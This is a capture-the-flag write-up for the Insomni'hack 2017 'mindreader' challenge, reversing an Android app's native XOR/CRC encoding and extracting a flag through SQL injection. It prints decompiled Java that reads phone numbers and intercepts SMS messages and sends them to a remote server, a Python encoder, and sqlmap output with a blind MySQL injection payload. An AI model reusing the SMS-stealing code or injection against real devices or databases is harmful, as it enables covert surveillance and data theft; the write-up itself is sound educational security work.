Insomni'hack Teaser 2017: rev250 "mindreader"

Summary

We’re given an Android .apk file, and asked to steal information from the exfiltrators. After figuring out the encoding scheme used to communicate with the server, we extract the secret flag from the server via an SQL injection.

Android

The process of reverse engineering Android applications usually begins with decompilation of the target .apk. Doing so reveals the source code of two interesting java class files: ch.scrt.hiddenservice.MainActivity and ch.scrt.hiddenservice.SMSReceiver. The relevant parts of the MainActivity are as follows

package ch.scrt.hiddenservice;
/* ... */
public class MainActivity extends AppCompatActivity {
    static final String DEFAULT_DEVICE_ID = "000000000000000";
    static final String SERVER_PATH = "http://mindreader.teaser.insomnihack.ch/";
    static String device;
    final int REQUEST_READ_PHONE_STATE;
        /* ... */

    /* Android'ish for int main(int argc, char **argv) */
    class C01511 implements Runnable {
        C01511() {
        }

        public void run() {
            MainActivity.this.tv.setText(MainActivity.this.readMind());
                        /* ... */
        }
    }

        /* Native function encrypt imported from "libnative-lib.so" (line 29) */
    public native int encrypt(Context context, byte[] bArr, byte[] bArr2);

    public MainActivity() {
        this.REQUEST_READ_PHONE_STATE = 1;
    }

    static {
        System.loadLibrary("native-lib");
        device = DEFAULT_DEVICE_ID;
    }

        /* Steal phone number and use it as device id */
    public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
        switch (requestCode) {
            case ListPopupWindow.POSITION_PROMPT_BELOW /*1*/:
                if (grantResults.length > 0 && grantResults[0] == 0) {
                    device = ((TelephonyManager) getApplicationContext().getSystemService("phone")).getLine1Number();
                }
            default:
        }
    }A

    public String readMind() {
                /* "encrypt" device id and convert it to base64 */
        byte[] plaintext = jsonify(device).getBytes();
        byte[] ciphertext = new byte[plaintext.length];
        encrypt(getApplicationContext(), plaintext, ciphertext);
        String encoded = Base64.encodeToString(ciphertext, 0);
        try {
                        /* ... */
                        /* urlencode the b64 string and send it via GET variable c to the
                         * server */
            HttpURLConnection urlConnection = (HttpURLConnection) new URL("http://mindreader.teaser.insomnihack.ch/?a=1&c=" + URLEncoder.encode(encoded, "UTF-8")).openConnection();
            InputStream in = new BufferedInputStream(urlConnection.getInputStream());
            String response = BuildConfig.FLAVOR;
                        /* read response from in, close connection and return */
                        /* ... */
            return response;
        } catch (IOException e) {
            Log.e("MAIN_ACTIVITY", "http error " + e.getMessage());
            return "Neural connexion is not possible...";
        }
    }

    protected void onCreate(Bundle savedInstanceState) {
            /* Steal device id and use it as device id */
        device = ((TelephonyManager) getApplicationContext().getSystemService("phone")).getDeviceId();
    }

        /* Encode a "device" string into a json object */
    private String jsonify(String device) {
        JSONObject jsonObject = new JSONObject();
        try {
            jsonObject.put("device", device);
            return jsonObject.toString();
        } catch (JSONException e) {
            Log.w("MAIN_ACTIVITY", "unable to jsonify data");
            return "{}";
        }
    }
}

In summary, this code retrieves the phone’s primary number via getLine1Number and sends this information via GET parameter to http://mindreader.teaser.insomnihack.ch. To compensate for the lack of https, the application deploys home brewed crypto to encipher a GET parameter named c. :)

The application also features a SMS stealer whose code can be found in SMSReceiver.java. It’s quite similar to the code above, but uses GET parameter a=2, instead of a=1 as seen before. This will become important later.

package ch.scrt.hiddenservice;
/* ... */
public class SMSReceiver extends BroadcastReceiver {
    public native int encrypt(Context context, byte[] bArr, byte[] bArr2);

    static {
        System.loadLibrary("native-lib");
    }

        /* Intercepts text messages and exfiltrates them to a server */
    public void onReceive(Context context, Intent intent) {
        if ("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction())) {
            for (SmsMessage smsMessage : Intents.getMessagesFromIntent(intent)) {
                byte[] plaintext = jsonify(System.currentTimeMillis(), smsMessage.getDisplayOriginatingAddress(), smsMessage.getMessageBody()).getBytes();
                byte[] ciphertext = new byte[plaintext.length];
                                /* Encipher using again some native encryption */
                encrypt(context, plaintext, ciphertext);
                String encoded = Base64.encodeToString(ciphertext, 0);
                try {
                                        /* ... */
                    HttpURLConnection urlConnection = (HttpURLConnection) new URL("http://mindreader.teaser.insomnihack.ch/?a=2&c=" + URLEncoder.encode(encoded, "UTF-8")).openConnection();
                    InputStream in = new BufferedInputStream(urlConnection.getInputStream());
                    urlConnection.disconnect();
                } catch (IOException e) {
                    Log.e("SMS_RECEIVER", "http error " + e.getMessage());
                }
            }
            return;
        }
        Log.w("SMS_RECEIVER", "no sms intent received!");
    }

        /* put four elements into a json string */
    private String jsonify(long date, String sender, String body) {
        JSONObject jsonObject = new JSONObject();
        try {
            jsonObject.put("device", MainActivity.device);
            jsonObject.put("date", date);
            jsonObject.put("sender", sender);
            jsonObject.put("body", body);
            return jsonObject.toString();
        } catch (JSONException e) {
            Log.w("SMS_RECEIVER", "unable to jsonify data");
            return BuildConfig.FLAVOR;
        }
    }
}

From here on it became quite obvious that we would need to understand the native encrypt function in libnative-lib.so in order to interact with the server at http://mindreader.teaser.insomnihack.ch/.

ARM Shared Library

During analysis of ARM executables that are called from within Android apps (as in our case), information about the application binary interface can come in extremely handy. This is especially true because all assembly methods facing the outside world get passed in a huge struct JNIEnv *. This structure contains more than 300 (!) pointers to functions that native libraries can use in order to interact with the Java context the calling Android application is running in. As some of them are used to retrieve the arguments passed to the native function we clearly, we would rather not like to miss the exact definition of the array. After patching up jni-api24.h from the current Android SDK and importing the header file into IDA, we’re greeted with the following function in Hex-Rays (just ignore the function pointer casts if they confuse you):

int __fastcall Java_ch_scrt_hiddenservice_MainActivity_encrypt(JNIEnv *a1, int r1_0, int a3, int a4, int a5)
{
  signed int i; // r6@1
  unsigned int v8; // r0@1
  char v9; // r5@3
  int i_mod_80; // r1@3
  int len; // [sp+8h] [bp-34h]@1
  JNIEnv *v13; // [sp+10h] [bp-2Ch]@1
  unsigned __int8 *out; // [sp+1Ch] [bp-20h]@1
  char *in; // [sp+20h] [bp-1Ch]@1
  char v18; // [sp+24h] [bp-18h]@1
  unsigned __int8 *crc; // [sp+28h] [bp-14h]@1
  int v20; // [sp+2Ch] [bp-10h]@1

  v13 = a1;
  v20 = _stack_chk_guard;
  i = 0;
  v18 = 0;
  len = ((int (__fastcall *)(JNIEnv *, int))(*a1)->GetArrayLength)(a1, a4);
  in = (char *)((int (__fastcall *)(JNIEnv *, int, char *))(*a1)->GetByteArrayElements)(a1, a4, &v18);
  out = (unsigned __int8 *)((int (__fastcall *)(JNIEnv *))(*a1)->GetByteArrayElements)(a1);
  generate_key();
  v8 = checksum(a1, a3);
  LOWORD(csum) = v8;
  BYTE2(csum) = v8 >> 16;
  BYTE3(csum) = BYTE3(v8);
  if ( len > 0 )
  {
    do
    {
      v9 = in[i];
      j_j_j___aeabi_idivmod(i, 80);
      out[i] = LOBYTE((&csum)[i % 4]) ^ key[i_mod_80] ^ v9;
      ++i;
    }
    while ( len != i );
  }
  ((void (__fastcall *)(JNIEnv *, int, char *, _DWORD))(*v13)->ReleaseByteArrayElements)(v13, a4, in, 0);
  ((void (__fastcall *)(JNIEnv *, int, unsigned __int8 *, _DWORD))(*v13)->ReleaseByteArrayElements)(v13, a5, out, 0);
  if ( _stack_chk_guard != v20 )
    j_j___stack_chk_fail(_stack_chk_guard - v20);
  return 0;
}

This code is (besides some hex-ray gibberish) straightforward: It retrieves two pointers to arrays passed in from the Java environment and determines the length of the first one. Then, a global static variable key is initialized with a hard-coded (but somewhat entangled) symmetric key in generate_key(). Afterwards, the program checksums itself (we will see how this works in a second) and stores the 4-byte result in little-endian format in another array. One pitfall concerning the decompiler is the function j_j_j___aeabi_idivmod: As you might guess from the name, this procedure takes two integers x and y and returns both, the quotient of the integer division x/y and the remainder of the modulo operation x % y. These semantics, however are unknown to the hex-rays decompiler, causing it to fail to infer the correct calling convention. In fact, the function j_j_j___aeabi_idivmod returns its two result values in r0 and r1. Looking at the corresponding assembly code

LDR     R0, [SP,#0x38+in]
LDRB    R5, [R0,R6]
MOVS    R1, #0x50
PUSH    {R6}
POP     {R0}
BL      j_j_j___aeabi_idivmod
LDR     R0, [SP,#0x38+a2]
LDRB    R0, [R0,R1]
EORS    R0, R5

makes clear that r0 (in[i]) and r1 (0x50 = 80) are passed in, and only r1 is used by the code afterwards. This is why in the Hex-Rays output above the i_mod_80 variable seems to magically appear within the loop. The generate_key function suffers from the same problem, but other than that is also really self-explanatory.

int generate_key()
{
  int v0; // r6@1
  char *in; // r5@1
  int v2; // r3@1
  int i; // r4@2
  int i_mod_20; // r1@3
  int result; // r0@3
  int j; // [sp+4h] [bp-14h]@2
  char *s1_ptr; // [sp+8h] [bp-10h]@2

  v0 = 0;
  in = s1;
  v2 = 0;
  do
  {
    j = v2;
    s1_ptr = in;
    i = 0;
    do
    {
      j_j_j___aeabi_idivmod(v0 + i, 20);
      result = basic_string::append((int **)&key, *in++ ^ s0[i_mod_20]);
      i += 3;
    }
    while ( i != 60 );
    in = s1_ptr + 20;
    v2 = j + 1;
    v0 += 60;
  }
  while ( j != 19 );
  return result;
}

This loops over an array of hard-coded constants s1 and xors them with the contents of the (also hard-coded) array s0. You may wonder how we found basic_string::append and the simple answer is that this function reveals itself by the error messages it could produce such as "basic_string::_S_create". Knowing this we were quite puzzled because the generate_key function apparently contains a buffer over-read: The s1 array is only 80 bytes in length, causing the read to go out-of-bounds for j >= 4. We still believe this to be an unintended bug in the program’s code that is remedied by the fact that the calling function accesses the generated key only at indices 0 to 79.

The last missing part of the encrypt function is the 4-byte output of the checksum function. Indeed this function could have been quite problematic in understanding what it does:

int __fastcall calculate_crc_classes_dex(JNIEnv *a1, int a2)
{
  JNIEnv *v2; // r4@1
  int i; // r5@1
  JNIEnv *v4; // ST00_4@1
  int v5; // r1@1
  int a3; // ST14_4@3
  int v7; // r6@3
  int v8; // r3@3
  int v9; // r3@3
  int result; // r0@3
  int v11; // r5@4
  int v12; // r0@5
  int v13; // r1@5
  int v14; // r3@5
  int v15; // [sp+8h] [bp-34h]@3
  int v16; // [sp+10h] [bp-2Ch]@3
  int v17; // [sp+18h] [bp-24h]@1
  int a2a; // [sp+1Ch] [bp-20h]@1
  int v19; // [sp+20h] [bp-1Ch]@1
  int getCrc; // [sp+24h] [bp-18h]@1
  __int16 v21; // [sp+28h] [bp-14h]@1
  char v22; // [sp+2Ah] [bp-12h]@1
  int v23; // [sp+2Ch] [bp-10h]@1

  a2a = a2;
  v2 = a1;
  v23 = _stack_chk_guard;
  i = 0;
  v22 = 0;
  v21 = 0;
  getCrc = 0;
  v4 = a1;
  v19 = ((int (__fastcall *)(JNIEnv *, const char *))(*a1)->FindClass)(a1, "java/util/zip/ZipFile");
  v17 = ((int (__fastcall *)(JNIEnv *, const char *))(*v4)->FindClass)(v4, "java/util/zip/ZipEntry");
  v5 = ((int (__fastcall *)(JNIEnv *, const char *))(*v2)->FindClass)(v2, "android/content/Context");
  do
  {
    *((_BYTE *)&getCrc - i) = aHo_hxl[-i] ^ asc_18F29[-i];
    --i;
  }
  while ( i != -7 );
  a3 = ((int (__fastcall *)(JNIEnv *, int, const char *, const char *))(*v2)->GetMethodID)(
         v2,
         v5,
         "getPackageCodePath",
         "()Ljava/lang/String;");
  v15 = ((int (__fastcall *)(JNIEnv *, int, const char *, const char *))(*v2)->GetMethodID)(
          v2,
          v19,
          "<init>",
          "(Ljava/lang/String;)V");
  v16 = ((int (__fastcall *)(_DWORD, _DWORD, const char *, const char *))(*v2)->GetMethodID)(
          v2,
          v19,
          "getEntry",
          "(Ljava/lang/String;)Ljava/util/zip/ZipEntry;");
  v7 = ((int (__fastcall *)(JNIEnv *, int, int *, const char *))(*v2)->GetMethodID)(v2, v17, &getCrc, "()J");
  v9 = jni_call_helper(v2, a2a, a3, v8);
  result = -1;
  if ( v9 )
  {
    v11 = jni_new_helper(v2, v19, v15, v9);
    result = -2;
    if ( v11 )
    {
      v12 = ((int (__fastcall *)(JNIEnv *, const char *))(*v2)->NewStringUTF)(v2, "classes.dex");
      v13 = jni_call_helper(v2, v11, v16, v12);
      result = -3;
      if ( v13 )
        result = sub_4CF4(v2, v13, v7, v14);
    }
  }
  if ( _stack_chk_guard != v23 )
    j_j___stack_chk_fail(result);
  return result;
}

We see here the native code calling back into the Java environment (thanks, JNI headers), and some strings related to (Un)zipping stuff. Hm …

At this point we used the sophiticated Ninja RE technique of making educated guesses. Combining the facts that APK files are actually nothing else but ZIP files, and that the hidden, enciphered String in the first loop of the function reads "getCrc", and the suspicious classes.dex string made us believe that this code unpacks the currently running APK file and calculates the CRC32 value of the classes.dex file. Let’s see …

/tmp$ unzip mindreader.zip
<tons of stuff printed>
/tmp$ crc32 classes.dex
b1342c3a

Combining the encrypt functionality and the json+base64+urlencode from the .java file encoding into one python file:

#!/usr/bin/env python3
import base64, urllib.parse, json, time
from collections import OrderedDict

s0 = [
    0x4A, 0x59, 0x67, 0x37, 0x61, 0x56, 0x55, 0x47, 0x63,
    0x4E, 0x6B, 0x38, 0x64, 0x4A, 0x73, 0x7A, 0x6D, 0x4c,
    0x61, 0x66,
]

s1 = b"4QdKuXJFf33SLppS5jzn5VpQAiSjKuYhE7tq8ZURj6ZG3guGXPvSn6uDaZi6ExsnfHpH6zEyfrqXxXoN"
crc = b'\x3a\x2c\x34\xb1'

dev_id = '133742421337124'
payload = ""

payload = json.dumps(
    OrderedDict([('device', dev_id)]),
sort_keys = False).encode()

key = []

## This is generate_key()
for j in range(20):
    for i in range(20):
        ## HACK: The % len(s1) is not actually present in the assembly ...
        key.append(s1[(j * 20 + i) % len(s1)] ^ s0[(3 * i) % len(s0)])

## This is the encrypt() function
enc = []
for i in range(len(payload)):
    enc.append(payload[i] ^ crc[i % len(crc)] ^ key[i % 80])

## Encoding crazyness
enc = urllib.parse.quote(base64.b64encode(bytearray(enc)).decode('utf-8'))

print("http://mindreader.teaser.insomnihack.ch/?a=1&c={}".format(enc))

This generates the following link:

http://mindreader.teaser.insomnihack.ch/?a=1&c=P2hh0V1nfMsfYkyKKgkQg1hMCaF0fiKZLg0yoG0%3D

Clicking it leads us to an empty page saying Your mind seems to be empty... sorry for you.. Moreover, we knew that we guessed the crc functionality right as slightly modifying one of the encryption parameters caused the same website to say mind acquisition failed in synapse 0x00000003.... Great success! Now we’re able to communicate with the server and don’t need the APK anymore. But … no flag? What to do next?

Pwn all the things

It turned out that visiting the page with GET parameter a=2 (which thankfully used the same encryption scheme) is a mechanism for storing arbitrary values on the server side (server echoes mind acquisition succeed ;-)), and a=1 is a mechanism for retrieving them. Nevertheless, after playing around with the service and storing some values in the backend, we couldn’t make the a=1 page echo something other than You're probably dead inside.... After bugging one of the orgas about their service potentially malfunctioning (there were no solves at that time) it suddenly came to our minds that we should probably pwn the database server at the remote end. And really, after putting a ' in the message body and storing it in the database the a=1 page says it detected we were up to something evil.

From there on we went the lazy route and simply wrote a proxy for sqlmap: That is, a simple webserver that accepts a single GET parameter, encodes it according to the above scheme, and forwards it to the real server. sqlmap manages to extract the flag:

$ ./sqlmap.py --url 'http://localhost:8080/?s=y7' --level 5 --risk 3 --batch -T flag --dump
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.1.1.17#dev}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 18:12:04

<tons of stuff printed>

GET parameter 's' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1146 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: s=y7' RLIKE (SELECT (CASE WHEN (8298=8298) THEN 0x7937 ELSE 0x28 END)) AND 'pnmd'='pnmd
---
[18:14:51] [INFO] testing MySQL
[18:14:52] [INFO] confirming MySQL
[18:14:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.0
[18:14:52] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[18:14:52] [INFO] fetching current database
[18:14:52] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:14:52] [INFO] retrieved: sms_storage
[18:15:02] [INFO] fetching columns for table 'flag' in database 'sms_storage'
[18:15:02] [INFO] retrieved: 1
[18:15:03] [INFO] retrieved: value
[18:15:08] [INFO] fetching entries for table 'flag' in database 'sms_storage'
[18:15:08] [INFO] fetching number of entries for table 'flag' in database 'sms_storage'
[18:15:08] [INFO] retrieved: 1
[18:15:09] [INFO] retrieved: INS{N00bSmS_M1nD_r3ad1nG_TecH}
[18:15:40] [INFO] analyzing table dump for possible password hashes
Database: sms_storage
Table: flag
[1 entry]
+--------------------------------+
| value                          |
+--------------------------------+
| INS{N00bSmS_M1nD_r3ad1nG_TecH} |
+--------------------------------+

<tons of stuff printed>

[*] shutting down at 18:15:40